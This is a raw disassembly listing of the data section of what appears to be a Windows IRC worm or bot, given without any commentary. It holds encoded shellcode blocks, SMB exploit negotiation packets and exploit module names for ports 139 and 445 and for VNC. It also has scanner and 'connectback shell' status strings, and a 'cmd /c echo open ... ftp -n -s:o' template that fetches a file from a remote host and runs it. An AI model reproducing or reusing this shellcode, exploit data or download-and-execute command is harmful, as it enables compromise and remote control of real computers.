.data:0044647Co align 4 aTringali db 'Tringali',0 ; DATA XREF: .data:00446480o align 4 aTroiani db 'Troiani',0 ; DATA XREF: .data:00446484o aTroy db 'Troy',0 ; DATA XREF: .data:00446488o align 4 aTruss db 'Truss',0 ; DATA XREF: .data:0044648Co align 4 aTsiatis db 'Tsiatis',0 ; DATA XREF: .data:00446490o aTsomides db 'Tsomides',0 ; DATA XREF: .data:00446494o align 10h aTsukurov db 'Tsukurov',0 ; DATA XREF: .data:00446498o align 4 aTuck db 'Tuck',0 ; DATA XREF: .data:0044649Co align 4 aTudge db 'Tudge',0 ; DATA XREF: .data:004464A0o align 4 aTukan db 'Tukan',0 ; DATA XREF: .data:004464A4o align 4 aTurano db 'Turano',0 ; DATA XREF: .data:004464A8o align 4 aTurek db 'Turek',0 ; DATA XREF: .data:004464ACo align 4 aTuttle db 'Tuttle',0 ; DATA XREF: .data:004464B0o align 4 aTwells db 'Twells',0 ; DATA XREF: .data:004464B4o align 4 aTzamarias db 'Tzamarias',0 ; DATA XREF: .data:004464B8o align 10h aUllman db 'Ullman',0 ; DATA XREF: .data:004464BCo align 4 aUntermeyer db 'Untermeyer',0 ; DATA XREF: .data:004464C0o align 4 aUpsdell db 'Upsdell',0 ; DATA XREF: .data:004464C4o aUrban db 'Urban',0 ; DATA XREF: .data:004464C8o align 4 aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: .data:004464CCo align 4 aUsdan db 'Usdan',0 ; DATA XREF: .data:004464D0o align 4 aUzuner db 'Uzuner',0 ; DATA XREF: .data:004464D4o align 4 aVacca db 'Vacca',0 ; DATA XREF: .data:004464D8o align 4 aWaite db 'Waite',0 ; DATA XREF: .data:004464DCo align 4 aValberg db 'Valberg',0 ; DATA XREF: .data:004464E0o aValencia db 'Valencia',0 ; DATA XREF: .data:004464E4o align 4 aWales db 'Wales',0 ; DATA XREF: .data:004464E8o align 10h aWallenberg db 'Wallenberg',0 ; DATA XREF: .data:004464ECo align 4 aWalter db 'Walter',0 ; DATA XREF: .data:004464F0o align 4 aVanallen db 'vanAllen',0 ; DATA XREF: .data:004464F4o align 10h aVanzwet db 'VanZwet',0 ; DATA XREF: .data:004464F8o aVandenberg db 'Vandenberg',0 ; DATA XREF: .data:004464FCo align 4 aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: .data:00446500o align 4 aWarshafsky db 'Warshafsky',0 ; DATA XREF: .data:00446504o align 10h aWasowska db 'Wasowska',0 ; DATA XREF: .data:00446508o align 4 aVasquez db 'Vasquez',0 ; DATA XREF: .data:0044650Co aWaugh db 'Waugh',0 ; DATA XREF: .data:00446510o align 4 aWeighart db 'Weighart',0 ; DATA XREF: .data:00446514o align 4 aWeingarten db 'Weingarten',0 ; DATA XREF: .data:00446518o align 4 aWeinhaus db 'Weinhaus',0 ; DATA XREF: .data:0044651Co align 10h aWeissbourd db 'Weissbourd',0 ; DATA XREF: .data:00446520o align 4 aWeissman db 'Weissman',0 ; DATA XREF: .data:00446524o align 4 aVelasquez db 'Velasquez',0 ; DATA XREF: .data:00446528o align 4 aWelles db 'Welles',0 ; DATA XREF: .data:0044652Co align 4 aWelsh db 'Welsh',0 ; DATA XREF: .data:00446530o align 4 aWengret db 'Wengret',0 ; DATA XREF: .data:00446534o aVenne db 'Venne',0 ; DATA XREF: .data:00446538o align 4 aVerghese db 'Verghese',0 ; DATA XREF: .data:0044653Co align 10h aWescott db 'Wescott',0 ; DATA XREF: .data:00446540o aWetzel db 'Wetzel',0 ; DATA XREF: .data:00446544o align 10h aWhately db 'Whately',0 ; DATA XREF: .data:00446548o aWhilton db 'Whilton',0 ; DATA XREF: .data:0044654Co aWhite db 'White',0 ; DATA XREF: .data:00446550o align 4 aWhitla db 'Whitla',0 ; DATA XREF: .data:00446554o align 10h aWhittaker db 'Whittaker',0 ; DATA XREF: .data:00446558o align 4 aViana db 'Viana',0 ; DATA XREF: .data:0044655Co align 4 aViano db 'Viano',0 ; DATA XREF: .data:00446560o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: .data:00446564o aWiener db 'Wiener',0 ; DATA XREF: .data:00446568o align 10h aViens db 'Viens',0 ; DATA XREF: .data:0044656Co align 4 aVignola db 'Vignola',0 ; DATA XREF: .data:00446570o aWilder db 'Wilder',0 ; DATA XREF: .data:00446574o align 4 aWilhelm db 'Wilhelm',0 ; DATA XREF: .data:00446578o aWilk db 'Wilk',0 ; DATA XREF: .data:0044657Co align 4 aWilkin db 'Wilkin',0 ; DATA XREF: .data:00446580o align 10h aWilkinson db 'Wilkinson',0 ; DATA XREF: .data:00446584o align 4 aVillarreal db 'Villarreal',0 ; DATA XREF: .data:00446588o align 4 aWillstatter db 'Willstatter',0 ; DATA XREF: .data:0044658Co aWilson db 'Wilson',0 ; DATA XREF: .data:00446590o align 4 aVitali db 'Vitali',0 ; DATA XREF: .data:00446594o align 4 aViviani db 'Viviani',0 ; DATA XREF: .data:00446598o aVoigt db 'Voigt',0 ; DATA XREF: .data:0044659Co align 4 aWolk db 'Wolk',0 ; DATA XREF: .data:004465A0o align 4 aVonhoffman db 'VonHoffman',0 ; DATA XREF: .data:004465A4o align 4 aWoo db 'Woo',0 ; DATA XREF: .data:004465A8o aWooden db 'Wooden',0 ; DATA XREF: .data:004465ACo align 4 aWoods db 'Woods',0 ; DATA XREF: .data:004465B0o align 4 aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: .data:004465B4o align 4 aVorhaus db 'Vorhaus',0 ; DATA XREF: .data:004465B8o aVotey db 'Votey',0 ; DATA XREF: .data:004465BCo align 4 aYacono db 'Yacono',0 ; DATA XREF: .data:004465C0o align 4 aYamane db 'Yamane',0 ; DATA XREF: .data:004465C4o align 4 aYankee db 'Yankee',0 ; DATA XREF: .data:004465C8o align 4 aYarchuk db 'Yarchuk',0 ; DATA XREF: .data:004465CCo aYates db 'Yates',0 ; DATA XREF: .data:004465D0o align 4 aYbarra db 'Ybarra',0 ; DATA XREF: .data:004465D4o align 4 aYedidia db 'Yedidia',0 ; DATA XREF: .data:004465D8o aYesson db 'Yesson',0 ; DATA XREF: .data:004465DCo align 4 aYetiv db 'Yetiv',0 ; DATA XREF: .data:004465E0o align 4 aYoffe db 'Yoffe',0 ; DATA XREF: .data:004465E4o align 4 aYoo db 'Yoo',0 ; DATA XREF: .data:004465E8o aYoukSee db 'Youk-See',0 ; DATA XREF: .data:004465ECo align 4 aYu db 'Yu',0 ; DATA XREF: .data:004465F0o align 10h aZachary db 'Zachary',0 ; DATA XREF: .data:004465F4o aZahedi db 'Zahedi',0 ; DATA XREF: .data:004465F8o align 10h aZangwill db 'Zangwill',0 ; DATA XREF: .data:004465FCo align 4 aZegans db 'Zegans',0 ; DATA XREF: .data:00446600o align 4 aZerbini db 'Zerbini',0 ; DATA XREF: .data:00446604o aZoldak db 'Zoldak',0 ; DATA XREF: .data:00446608o align 4 aZucconi db 'Zucconi',0 ; DATA XREF: .data:0044660Co aZurn db 'Zurn',0 ; DATA XREF: .data:00446610o align 4 aZwiers db 'Zwiers',0 ; DATA XREF: .data:00446614o align 4 aZytowski db 'Zytowski',0 ; DATA XREF: .data:00446618o align 4 ; char aS_38[] aS_38 db '%s',0 ; DATA XREF: sub_40B0A2+28o align 4 ; char aSI_3[] aSI_3 db '%s%i',0 ; DATA XREF: sub_40B0A2+4Fo align 4 ; char aS_39[] aS_39 db '%s',0 ; DATA XREF: sub_40B10F+19o align 4 ; char aSI_4[] aSI_4 db '%s%i',0 ; DATA XREF: sub_40B10F+40o align 10h ; char aPc[] aPc db 'PC',0 ; DATA XREF: sub_40B1BA+6o align 4 aPc_0 db 'PC',0 ; DATA XREF: sub_40B1BA+30o align 4 aPc_1 db 'PC',0 ; DATA XREF: sub_40B1BA+5Co align 4 ; char aSI_0[] aSI_0 db '%s%i',0 ; DATA XREF: sub_40B1BA+87o align 4 ; char aS_22[] aS_22 db '%s|',0 ; DATA XREF: sub_40B260+2Fo ; char aSI_1[] aSI_1 db '%s%i',0 ; DATA XREF: sub_40B260+56o align 10h a95 db '95',0 ; DATA XREF: sub_40B2D5+4Fo align 4 aNt db 'NT',0 ; DATA XREF: sub_40B2D5+5Do align 4 a98 db '98',0 ; DATA XREF: sub_40B2D5+6Do align 4 aMe_0 db 'ME',0 ; DATA XREF: sub_40B2D5+7Do align 10h a2k db '2K',0 ; DATA XREF: sub_40B2D5+96o align 4 aXp db 'XP',0 ; DATA XREF: sub_40B2D5+A6o align 4 a2k3 db '2K3',0 ; DATA XREF: sub_40B2D5+B4o a??? db '???',0 ; DATA XREF: sub_40B2D5:loc_40B390o ; char aS_23[] aS_23 db '[%s]|',0 ; DATA XREF: sub_40B2D5+C4o align 4 ; char aSI_2[] aSI_2 db '%s%i',0 ; DATA XREF: sub_40B2D5+EBo align 10h aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40B3DF+1Fo align 4 aM_0 db '[M]',0 ; DATA XREF: sub_40B3DF+2Co ; char aDS[] aDS db '[%d]%s',0 ; DATA XREF: sub_40B3DF+3Ao align 4 aMirc_1 db 'mIRC',0 ; DATA XREF: sub_40B3DF:loc_40B42Eo align 4 ; char aM_1[] aM_1 db '[M]',0 ; DATA XREF: sub_40B3DF+5Co dword_4490D0 dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_40B687+C4o db 66h, 0B9h word_4490DE dw 0FFFFh ; DATA XREF: sub_40B687+CCw db 80h, 73h, 0Eh byte_4490E3 db 0FFh ; DATA XREF: sub_40B687+D3w dd 0F9E243h dword_4490E8 dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_40B687+A2o db 0B1h byte_4490F5 db 0FFh ; DATA XREF: sub_40B687+AAw dw 7380h db 0Ch byte_4490F9 db 0FFh ; DATA XREF: sub_40B687+B0w dw 0E243h dd 0F9h dword_449100 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_40B510+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_449164 dd 12h ; DATA XREF: sub_40B510+3Dw dd 70746674h, 6578652Eh, 20692D20h aGet db ' get ',0 ; DATA XREF: sub_40B510+79o ; sub_40B510+9Bo aJ_0 db 'j',0 db 0E8h dword_44917D dd 17h ; DATA XREF: sub_40B510+4Dw db 75h, 1, 0C3h db 0E8h dword_449185 dd 1 ; DATA XREF: sub_40B510+45w byte_449189 db 0, 6Ah, 0 ; DATA XREF: sub_40B510+C2o dd 7E8h db 0, 0Fh, 84h dword_449193 dd 0FFFFFFEDh ; DATA XREF: sub_40B510+5Dw db 0C3h dd 505D5B58h, 3354EC83h, 8DFC8BC0h, 0D78B4048h, 44B0AAF3h dd 515257ABh, 6A286A51h, 55515101h, 83D6FF53h, 0C08554C4h dd 0C3h dword_4491C4 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h ; DATA XREF: sub_40B84B+10o ; char aD_S_0[] aD_S_0 db '%d. %s',0 ; DATA XREF: sub_40B84B+46o align 10h ; char aSSStopped_DThr[] aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40BA1C+35o align 4 ; char aSNoSThreadFoun[] aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40BA1C+51o align 10h aSym db 'sym',0 ; DATA XREF: sub_40C989+169o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40BE72+30o ; sub_41C76A+2CBo align 4 dd 5 dup(0) dword_449248 dd 0B97h ; DATA XREF: sub_401CC7+1D58r ; sub_401CC7+1D84o ... off_44924C dd offset sub_40EB60 ; DATA XREF: sub_40C989+1EAr dword_449250 dd 0 ; DATA XREF: sub_40BCE2+2Eo ; sub_40DB44+19Ew ... dword_449254 dd 1 ; DATA XREF: sub_40C165+1Fr dword_449258 dd 1 ; DATA XREF: sub_40C165+3B3r dword_44925C dd 0 ; DATA XREF: sub_40C165+292r dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch dd offset sub_40EC96 dd 0 dd 2 dup(1), 0 aNet139 db 'net139',0 align 4 dd 654E0000h, 69706174h, 393331h, 5 dup(0) dd 8Bh dd offset sub_40E9F5 dd 0 dd 2 dup(1), 0 aNet445 db 'net445',0 align 4 dd 654E0000h, 69706174h, 353434h, 5 dup(0) dd 1BDh dd offset sub_40E9F5 dd 0 dd 2 dup(1), 0 aAsn445 db 'asn445',0 align 4 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh dd offset sub_40DB44 dd 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 4 dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh dd offset sub_40DB44 dd 0 dd 2 dup(1), 0 aVncs db 'vncs',0 align 4 dd 54480000h, 562D5054h, 434Eh, 5 dup(0) dd 170Ch dd offset sub_41C76A dd 5 dup(0) dd 10100h, 0Eh dup(0) aNet139_0 db 'net139',0 align 4 db 2 dup(0) byte_44942A db 1 ; DATA XREF: sub_401CC7:loc_40399Dr ; sub_401CC7+1CE0o aNet445_0 db 'net445',0 align 4 dd 73610100h, 3534346Eh, 0 dd 636E7601h, 0 dd 1000000h, 3 dup(0) dd 4A5A10EBh, 0B966C933h, 34800166h, 0FAE2990Ah, 0EBE805EBh dd 70FFFFFFh, 99999899h, 699521C3h, 9912E664h, 3485E912h dd 1291D912h, 0A5EA1241h, 0EF126A9Ah, 126A9AE1h, 629AB9E7h dd 0AA8DD712h, 0C8CECF74h, 629AA612h, 97F36B12h, 0ED3F6AC0h dd 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h, 0DF125412h, 485A9ABDh dd 0AA589A78h, 9112FF50h, 9A85DF12h, 9B78585Ah, 9912589Ah dd 63125A9Ah, 5F1A6E12h, 0F3491297h, 0E571C09Ah, 1A999999h dd 0CFCB945Fh, 0C365CE66h, 9DF34112h, 99F071C0h, 0C9C99999h dd 98F3C9C9h, 0CE669BF3h, 5E411269h, 9E999B9Eh, 1059AA24h dd 89F39DDEh, 0CE66CACEh, 0CA98F36Dh, 0C961CE66h, 0CE66CAC9h dd 0DD751A65h, 42AA6D12h, 10C089F3h, 627B1785h, 10A1DF10h dd 0DF10A5DFh, 0B5DF5ED9h, 99999898h, 0C989DE14h, 0CACACACFh dd 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h, 0CAC9A5DEh, 0C97DCE66h dd 0AA71CE66h, 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h dd 5A59AA77h, 66676271h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h dd 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh dd 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh, 0D5FDF8F6h, 0F8EBFBF0h dd 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh, 0F6CAD8CAh, 0EDFCF2FAh dd 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h, 0FAF899F7h, 0EDE9FCFAh dd 99h ; char asc_4495D8[] asc_4495D8 db '-' ; DATA XREF: sub_40BCE2+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 ; char asc_4495F8[] asc_4495F8 db ' ' ; DATA XREF: sub_40BCE2+46o db 3, 37h, 25h dd 203A0373h, 2C6425h ; char aTotalDInS_[] aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40BCE2+86o align 4 ; char asc_449618[] asc_449618 db '-' ; DATA XREF: sub_40BDB1+38o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 ; char asc_449660[] asc_449660 db '-' ; DATA XREF: sub_40BE1D+22o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 4 ; char asc_44968C[] asc_44968C db '-' ; DATA XREF: sub_40BE72+14o db 3, 34h, 2 dd 6E616373h, 202D0302h, 6C707845h, 2074696Fh, 7473694Ch dd 3Ah ; char asc_4496A8[] asc_4496A8 db ' ' ; DATA XREF: sub_40BE72+40o db 3, 37h, 25h dd 28200373h, 73253403h, 2C2903h ; char aScanTimeS_[] aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40BE72+7Fo ; char asc_4496C8[] asc_4496C8 db '-' ; DATA XREF: sub_40BF39+80o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 4 ; char asc_4496F8[] asc_4496F8 db '-' ; DATA XREF: sub_40BF39+172o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 ; char asc_44972C[] asc_44972C db '-' ; DATA XREF: sub_40C0EE+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 ; char asc_449748[] asc_449748 db '-' ; DATA XREF: sub_40C0EE+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 4 ; char asc_449768[] asc_449768 db '-' ; DATA XREF: sub_40C165+DAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_2 db ' Server started on Port: %d, File: %s.',0 align 4 ; char asc_44979C[] asc_44979C db '-' ; DATA XREF: sub_40C165+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_35 db ' Failed to start server, error: <%d>.',0 align 10h ; char asc_4497D0[] asc_4497D0 db '-' ; DATA XREF: sub_40C165+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 4 ; char asc_449804[] asc_449804 db '-' ; DATA XREF: sub_40C165+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_36 db 'Failed to start server, error: <%d>.',0 align 4 ; char asc_449838[] asc_449838 db '-' ; DATA XREF: sub_40C165+321o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_4 db '- Server started on Port: %d.',0 align 4 ; char asc_449868[] asc_449868 db '-' ; DATA XREF: sub_40C165+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_37 db '- Failed to start server, error: <%d>.',0 ; char asc_4498A0[] asc_4498A0 db '-' ; DATA XREF: sub_40C165+449o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_1 db ' Server listening on IP: %s:%d, Directory: %s\.',0 ; char asc_4498DC[] asc_4498DC db '-' ; DATA XREF: sub_40C165+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_38 db ' Failed to start server, error: <%d>.',0 align 10h ; char aD_D_D_D_0[] aD_D_D_D_0 db '%d.%d.%d.%d',0 ; DATA XREF: sub_40C683+38o aSocketOpenFail db 'socket open failed',0 ; DATA XREF: .text:0040C8B1o align 10h aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: .text:0040C8E8o aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: .text:0040C942o align 4 aSocketOpen_ db 'Socket open.',0 ; DATA XREF: .text:0040C967o align 4 aSocketClosed_ db 'Socket closed.',0 ; DATA XREF: .text:loc_40C977o align 4 ; char asc_449994[] asc_449994 db '-' ; DATA XREF: sub_40C989+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; char asc_4499CC[] asc_4499CC db '-' ; DATA XREF: sub_40C989+EEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 ; char asc_4499F4[] asc_4499F4 db '-' ; DATA XREF: sub_40CBA1+87o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 ; char asc_449A28[] asc_449A28 db '-' ; DATA XREF: sub_40CBA1+103o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 ; char asc_449A5C[] asc_449A5C db '-' ; DATA XREF: sub_40CBA1+173o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 ; char asc_449A94[] asc_449A94 db '-' ; DATA XREF: sub_40CBA1+1CEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 ; char asc_449AD4[] asc_449AD4 db '-' ; DATA XREF: sub_40CE00+92o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOp_0 db 'IP: %s Port: %d is open.',0 align 4 ; char asc_449AFC[] asc_449AFC db '-' ; DATA XREF: sub_40CECD+41o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 ; char asc_449B24[] asc_449B24 db '-' ; DATA XREF: sub_40CFBE+41o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 10h ; char asc_449B50[] asc_449B50 db '-' ; DATA XREF: sub_40CFBE+D1o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 4 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40D36D+B2o align 4 dword_449B88 dd 10FF8h, 0 ; DATA XREF: sub_40D36D+6Ao dword_449B90 dd 10FF8h ; DATA XREF: sub_40D36D+79o dword_449B94 dd 7FFDF020h, 0 ; DATA XREF: sub_40D36D+162o dword_449B9C dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40D797+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 aLanman1_0 db 'LANMAN1.0',0 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 aLm1_2x002 db 'LM1.2X002',0 dw 4C02h aAnman2_1 db 'ANMAN2.1',0 db 2, 4Eh, 54h aLm0_12 db ' LM 0.12',0 align 4 dword_449C24 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40D797+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_449C54 dd 0 ; DATA XREF: sub_40D797+44o dd 800000D4h, 0 unk_449C60 db 81h ; ; DATA XREF: sub_40D871+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_449CAC db 41h ; DATA XREF: sub_40D90F+FFr aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h aSvwfbA db 'SVWf',0 ; DATA XREF: sub_40DB44+82o aIcsa db '',0 db 2 dup(0), 0FFh dd 12096836h, 0F7E863D6h, 89000000h, 0A2E80846h, 0FF000000h dd 6B680476h, 0E8CA2BD0h, 0E2h, 0E80C4689h, 3Fh, 680476FFh dd 4C0297FAh, 0CDE8h, 68DB3100h, 410h, 89D0FF53h, 768B56C3h dd 0B9C78910h, 410h, 315EA4F3h, 505050C0h, 0FF505053h dd 468B0C56h, 0C4816608h, 5E5F0080h, 60E0FF5Bh, 23E8h dd 24448B00h, 7C588D0Ch, 53C4383h, 284381h, 81000010h dd 0F0002863h, 48BFFFFh, 14C48324h, 0C3C03150h, 0FF64D231h dd 22896432h, 90B8DB31h, 31429042h, 8902B1C9h, 74AFF3DFh dd 0F3EB4303h, 64107E89h, 6158028Fh, 20BF60C3h, 8B7FFDF0h dd 8468B1Fh, 7F8B0789h, 78C781F8h, 89000001h, 741939F9h dd 0EB098B04h, 39FA89F8h, 574045Ah, 0EB04528Bh, 891189F6h dd 43C6044Ah, 0C36101FDh, 0FDF00CA1h, 1C408B7Fh, 8908588Bh dd 8B008B1Eh, 46890840h, 8B60C304h, 8B28246Ch, 548B3C45h dd 0EA017805h, 8B184A8Bh, 0EB01205Ah, 8B4938E3h, 0EE018B34h dd 0C031FF31h, 0E038ACFCh, 0CFC10774h, 0EBC7010Dh, 247C3BF4h dd 8BE17524h, 0EB01245Ah, 4B0C8B66h, 11C5A8Bh, 8B048BEBh dd 4489E801h, 0C2611C24h, 0FEEB0008h, 0 dword_449E58 dd 0F254C481h, 0E8FCFFFFh, 46h, 8B3C458Bh, 178057Ch, 184F8BEFh ; DATA XREF: sub_40DB44+30o dd 1205F8Bh, 492EE3EBh, 18B348Bh, 99C031EEh, 74C084ACh dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh dword_449EE8 dd 23h ; DATA XREF: sub_40D312+1Bo ; char dword_449EEC[] dword_449EEC dd 909006EBh, 90909090h, 0 ; DATA XREF: sub_40D36D+E8o ; char aCccc[] aCccc db 'CCCC',0 ; DATA XREF: sub_40D36D+153o align 10h dword_449F00 dd 3 ; DATA XREF: sub_40D36D+246o ; char dword_449F04[] dword_449F04 dd 0A1h ; DATA XREF: sub_40D36D+29Fo ; char dword_449F08[] dword_449F08 dd 30h ; DATA XREF: sub_40D36D+2CAo ; char dword_449F0C[] dword_449F0C dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40D36D+2F5o ; char dword_449F18[] dword_449F18 dd 60h ; DATA XREF: sub_40D36D+320o ; char aCmdCEchoOpenSD[] aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: sub_40DB44+57o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 10h dword_449F80 dd 0E983C933h, 0D9EED9AFh, 5BF42474h, 0BB137381h, 836AD31Eh ; DATA XREF: sub_40E3FF+2B3o dd 0F4E2FCEBh, 25387447h, 952CE753h, 6587E44h, 2F583A9Fh dd 6FAF9587h, 0E13C1FC3h, 355806F4h, 89381F9Bh, 5E58578Bh dd 5B3D1F30h, 0EE7F877Bh, 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h dd 89A6369Fh, 6BF74130h, 66587850h, 768C95F0h, 46D0F5BAh dd 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh, 0C7CF6E30h dd 34DB5E30h, 649D90D3h, 0BC2C4E57h, 39B5C58Ah, 58E076DDh dd 58A069D3h, 0BA2C4AE4h, 963ED5D3h, 0BC2C4E80h, 0C3697E4h dd 68DBF33Ah, 95D174EEh, 630A766Bh, 9584B34Eh, 39804D6Dh dd 39904DE8h, 0BA2C4DF8h, 0FD376DDh, 8B5A4DDDh, 7077762Eh dd 9584D9CBh, 3BC3746Dh, 203E1EEh, 83FDB31Fh, 3905E1ECh dd 203E1EEh, 2355575Eh, 3A05E1ECh, 95864AEFh, 8DBB8D6Bh dd 3DAAD8C2h, 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h dd 0E31F37E2h, 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h dd 0C1EB6436h, 18BBB510h, 95C5AD45h, 